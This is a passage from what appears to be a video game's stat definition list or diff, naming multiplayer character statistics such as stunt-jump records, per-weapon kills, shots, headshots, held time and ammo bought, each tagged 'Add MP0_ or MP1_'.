wheel time in a vehicle +(float)LONGEST_STOPPIE_DIST // Add MP0_ or MP1_ // Longest stoppie distance in a bike +(u32)LONGEST_STOPPIE_TIME // Add MP0_ or MP1_ // Longest stoppie time in a bike +(float)LONGEST_WHEELIE_DIST // Add MP0_ or MP1_ // Longest wheelie time in a bike +(u32)LONGEST_WHEELIE_TIME // Add MP0_ or MP1_ // Longest wheelie time in a bike +(u64)TOTAL_WHEELIE_TIME // Add MP0_ or MP1_ // Total wheelie time in a bike +(float)LONGEST_SURVIVED_FREEFALL // Add MP0_ or MP1_ // Longest Survived free fall in meters. +(int)HIGHEST_SKITTLES // Add MP0_ or MP1_ // Number of Peds Run down +(int)MOST_FLIPS_IN_ONE_JUMP // Add MP0_ or MP1_ // Number of flips in one vehicle jump +(int)MOST_SPINS_IN_ONE_JUMP // Add MP0_ or MP1_ // Number of spins in one vehicle jump + + (int)USJS_FOUND // Add MP0_ or MP1_ // Number of stunt jumps tried +(u64)USJS_FOUND_MASK // Add MP0_ or MP1_ // Mask of all stunt jumps tried +(int)USJS_COMPLETED // Add MP0_ or MP1_ // Number of stunt jumps completed +(int)USJS_TOTAL_COMPLETED // Add MP0_ or MP1_ // Total number of stunt jumps completed (count also the same jump many times) +(u64)USJS_COMPLETED_MASK // Add MP0_ or MP1_ // Mask of all stunt jumps completed + + (float)FARTHEST_JUMP_DIST // Add MP0_ or MP1_ // Longest jump distance +(float)HIGHEST_JUMP_REACHED // Add MP0_ or MP1_ // Highest jump distance +(int)AIR_LAUNCHES_OVER_5S // Add MP0_ or MP1_ // Number of air launches over 5 seconds +(int)AIR_LAUNCHES_OVER_5M // Add MP0_ or MP1_ // Number of air launches over 5 meters +(int)AIR_LAUNCHES_OVER_40M // Add MP0_ or MP1_ // Number of air launches over 40 meters +(int)NUMBER_OF_AIR_LAUNCHES // Add MP0_ or MP1_ // Number of air launches +(int)NUMBER_TURBO_STARTS_IN_RACE // Add MP0_ or MP1_ // Number of turbo starts at start of race +(int)NUMBER_SLIPSTREAMS_IN_RACE // Add MP0_ or MP1_ // Number of turbo starts at start of race + + + +(int)EXPLOSIVE_DAMAGE_HITS // Add MP0_ or MP1_ // Number of explosive damage weapons hits. +(int)EXPLOSIVE_DAMAGE_HITS_ANY // Add MP0_ or MP1_ // Number of explosive damage weapons hits on any object. +(int)EXPLOSIVE_DAMAGE_SHOTS // Add MP0_ or MP1_ // Number of explosive damage weapons shots. +(int)KILLS_ARMED // Add MP0_ or MP1_ // Number of Armed kills +(float)KILLS_IN_FREE_AIM // Add MP0_ or MP1_ // number of kills in free aim +(int)KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed +(int)DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 died +(int)DEATHS_PLAYER // Add MP0_ or MP1_ // Number of deaths caused by other players +(int)SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired +(float)WEAPON_ACCURACY // Add MP0_ or MP1_ // Weapon accuracy +(int)HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit +(int)HITS_PEDS_VEHICLES // Add MP0_ or MP1_ // Number of times mp char 0 hit +(int)HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot +(int)PLAYER_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot done by other players +(u32)DB_SHOTTIME // Add MP0_ or MP1_ // Total time shoting a drive by weapon +(int)DB_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed +(int)DB_PLAYER_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed +(int)DB_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired +(int)DB_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit +(int)DB_HITS_PEDS_VEHICLES // Add MP0_ or MP1_ // Number of times mp char 0 hit +(int)DB_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot +(u32)PASS_DB_SHOTTIME // Add MP0_ or MP1_ // Total time shoting a drive by weapon +(int)PASS_DB_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed +(int)PASS_DB_PLAYER_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed +(int)PASS_DB_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired +(int)PASS_DB_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit +(int)PASS_DB_HITS_PEDS_VEHICLES // Add MP0_ or MP1_ // Number of times mp char 0 hit +(int)PASS_DB_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot +(int)EXPLOSIVES_USED // Add MP0_ or MP1_ // Number of Explosives used + +(int)UNARMED_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)UNARMED_ENEMY_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)UNARMED_DEATHS // Add MP0_ or MP1_ // Number of times Michael killed by weapon +(int)UNARMED_HITS // Add MP0_ or MP1_ // Number of times Michael hit with weapon +(int)KNIFE_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)KNIFE_ENEMY_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)KNIFE_DEATHS // Add MP0_ or MP1_ // Number of times Michael killed by weapon +(int)KNIFE_HITS // Add MP0_ or MP1_ // Number of times Michael hit with weapon +(u32)KNIFE_HELDTIME // Add MP0_ or MP1_ // Time Michael held weapon (MS) +(int)KNIFE_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)KNIFE_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)KNIFE_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(bool)KNIFE_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)KNIFE_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(int)NIGHTSTICK_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)NIGHTSTICK_ENEMY_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)NIGHTSTICK_DEATHS // Add MP0_ or MP1_ // Number of times Michael killed by weapon +(int)NIGHTSTICK_HITS // Add MP0_ or MP1_ // Number of times Michael hit with weapon +(u32)NIGHTSTICK_HELDTIME // Add MP0_ or MP1_ // Time Michael held weapon (MS) +(int)NIGHTSTICK_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)NIGHTSTICK_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(bool)NIGHTSTICK_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)NIGHTSTICK_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(int)CROWBAR_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)CROWBAR_ENEMY_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)CROWBAR_DEATHS // Add MP0_ or MP1_ // Number of times Michael killed by weapon +(int)CROWBAR_HITS // Add MP0_ or MP1_ // Number of times Michael hit with weapon +(u32)CROWBAR_HELDTIME // Add MP0_ or MP1_ // Time Michael held weapon (MS) +(int)CROWBAR_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CROWBAR_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(bool)CROWBAR_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)CROWBAR_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(int)SHOVEL_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)SHOVEL_ENEMY_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)SHOVEL_DEATHS // Add MP0_ or MP1_ // Number of times Michael killed by weapon +(int)SHOVEL_HITS // Add MP0_ or MP1_ // Number of times Michael hit with weapon +(u32)SHOVEL_HELDTIME // Add MP0_ or MP1_ // Time Michael held weapon (MS) +(int)SHOVEL_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SHOVEL_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(bool)SHOVEL_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)SHOVEL_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)WRENCH_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)WRENCH_ENEMY_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)WRENCH_DEATHS // Add MP0_ or MP1_ // Number of times Michael killed by weapon +(int)WRENCH_HITS // Add MP0_ or MP1_ // Number of times Michael hit with weapon +(u32)WRENCH_HELDTIME // Add MP0_ or MP1_ // Time Michael held weapon (MS) +(int)WRENCH_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)WRENCH_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(bool)WRENCH_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)WRENCH_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)HAMMER_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)HAMMER_ENEMY_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)HAMMER_DEATHS // Add MP0_ or MP1_ // Number of times Michael killed by weapon +(int)HAMMER_HITS // Add MP0_ or MP1_ // Number of times Michael hit with weapon +(u32)HAMMER_HELDTIME // Add MP0_ or MP1_ // Time Michael held weapon (MS) +(int)HAMMER_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)HAMMER_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(bool)HAMMER_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)HAMMER_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + + +(int)BAT_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)BAT_ENEMY_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)BAT_DEATHS // Add MP0_ or MP1_ // Number of times Michael killed by weapon +(int)BAT_HITS // Add MP0_ or MP1_ // Number of times Michael hit with weapon +(u32)BAT_HELDTIME // Add MP0_ or MP1_ // Time Michael held weapon (MS) +(int)BAT_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)BAT_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(bool)BAT_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)BAT_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(int)GCLUB_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)GCLUB_ENEMY_KILLS // Add MP0_ or MP1_ // Number of times Michael killed with weapon +(int)GCLUB_DEATHS // Add MP0_ or MP1_ // Number of times Michael killed by weapon +(int)GCLUB_HITS // Add MP0_ or MP1_ // Number of times Michael hit with weapon +(u32)GCLUB_HELDTIME // Add MP0_ or MP1_ // Time Michael held weapon (MS) +(int)GCLUB_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)GCLUB_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(bool)GCLUB_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)GCLUB_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + +(int)PISTOL_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)PISTOL_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)PISTOL_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)PISTOL_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)PISTOL_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)PISTOL_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)PISTOL_DB_HELDTIME // Add MP0_ or MP1_ // Time char0 held driveby weapon (MS) +(int)PISTOL_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOL_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOL_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)PISTOL_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)PISTOL_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(int)CMBTPISTOL_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)CMBTPISTOL_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)CMBTPISTOL_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)CMBTPISTOL_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)CMBTPISTOL_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)CMBTPISTOL_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)CMBTPISTOL_DB_HELDTIME // Add MP0_ or MP1_ // Time char0 held driveby weapon (MS) +(int)CMBTPISTOL_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTPISTOL_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTPISTOL_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)CMBTPISTOL_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)CMBTPISTOL_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + +(int)PISTOL50_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)PISTOL50_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)PISTOL50_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)PISTOL50_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)PISTOL50_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)PISTOL50_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)PISTOL50_DB_HELDTIME // Add MP0_ or MP1_ // Time char0 held driveby weapon (MS) +(int)PISTOL50_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOL50_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PISTOL50_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)PISTOL50_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)PISTOL50_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + +(int)APPISTOL_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)APPISTOL_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)APPISTOL_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)APPISTOL_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)APPISTOL_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)APPISTOL_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)APPISTOL_DB_HELDTIME // Add MP0_ or MP1_ // Time char0 held driveby weapon (MS) +(int)APPISTOL_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)APPISTOL_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)APPISTOL_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)APPISTOL_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)APPISTOL_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(int)MICROSMG_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)MICROSMG_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)MICROSMG_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)MICROSMG_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)MICROSMG_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)MICROSMG_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)MICROSMG_DB_HELDTIME // Add MP0_ or MP1_ // Time char0 held driveby weapon (MS) +(int)MICROSMG_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)MICROSMG_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)MICROSMG_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)MICROSMG_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)MICROSMG_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + +(int)SMG_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)SMG_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)SMG_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)SMG_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)SMG_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)SMG_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)SMG_DB_HELDTIME // Add MP0_ or MP1_ // Time char0 held driveby weapon (MS) +(int)SMG_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMG_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMG_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)SMG_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)SMG_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + + +(int)ASLTSMG_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)ASLTSMG_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)ASLTSMG_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)ASLTSMG_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)ASLTSMG_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)ASLTSMG_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)ASLTSMG_DB_HELDTIME // Add MP0_ or MP1_ // Time char0 held driveby weapon (MS) +(int)ASLTSMG_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTSMG_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTSMG_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)ASLTSMG_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)ASLTSMG_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + +(int)ASLTRIFLE_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)ASLTRIFLE_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)ASLTRIFLE_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)ASLTRIFLE_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)ASLTRIFLE_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)ASLTRIFLE_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)ASLTRIFLE_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTRIFLE_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTRIFLE_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)ASLTRIFLE_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)ASLTRIFLE_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + + +(int)CRBNRIFLE_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)CRBNRIFLE_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)CRBNRIFLE_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)CRBNRIFLE_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)CRBNRIFLE_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)CRBNRIFLE_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)CRBNRIFLE_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CRBNRIFLE_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CRBNRIFLE_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)CRBNRIFLE_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)CRBNRIFLE_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + +(int)ADVRIFLE_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)ADVRIFLE_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)ADVRIFLE_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)ADVRIFLE_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)ADVRIFLE_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)ADVRIFLE_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)ADVRIFLE_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ADVRIFLE_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ADVRIFLE_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)ADVRIFLE_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)ADVRIFLE_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)MG_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)MG_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)MG_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)MG_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)MG_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)MG_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)MG_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)MG_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)MG_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)MG_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)MG_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + +(int)CMBTMG_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)CMBTMG_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)CMBTMG_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)CMBTMG_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)CMBTMG_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)CMBTMG_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)CMBTMG_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTMG_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)CMBTMG_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)CMBTMG_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)CMBTMG_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)ASLTMG_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)ASLTMG_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)ASLTMG_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)ASLTMG_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)ASLTMG_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)ASLTMG_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)ASLTMG_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTMG_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTMG_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)ASLTMG_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)ASLTMG_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(int)PUMP_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)PUMP_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)PUMP_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)PUMP_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)PUMP_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)PUMP_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)PUMP_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PUMP_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PUMP_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)PUMP_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)PUMP_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)SAWNOFF_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)SAWNOFF_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)SAWNOFF_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)SAWNOFF_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)SAWNOFF_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)SAWNOFF_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)SAWNOFF_DB_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)SAWNOFF_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SAWNOFF_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SAWNOFF_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)SAWNOFF_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)SAWNOFF_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)BULLPUP_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)BULLPUP_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)BULLPUP_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)BULLPUP_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)BULLPUP_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)BULLPUP_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)BULLPUP_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)BULLPUP_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)BULLPUP_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)BULLPUP_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)BULLPUP_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)ASLTSHTGN_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)ASLTSHTGN_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)ASLTSHTGN_SHOTS // Add MP0_ or 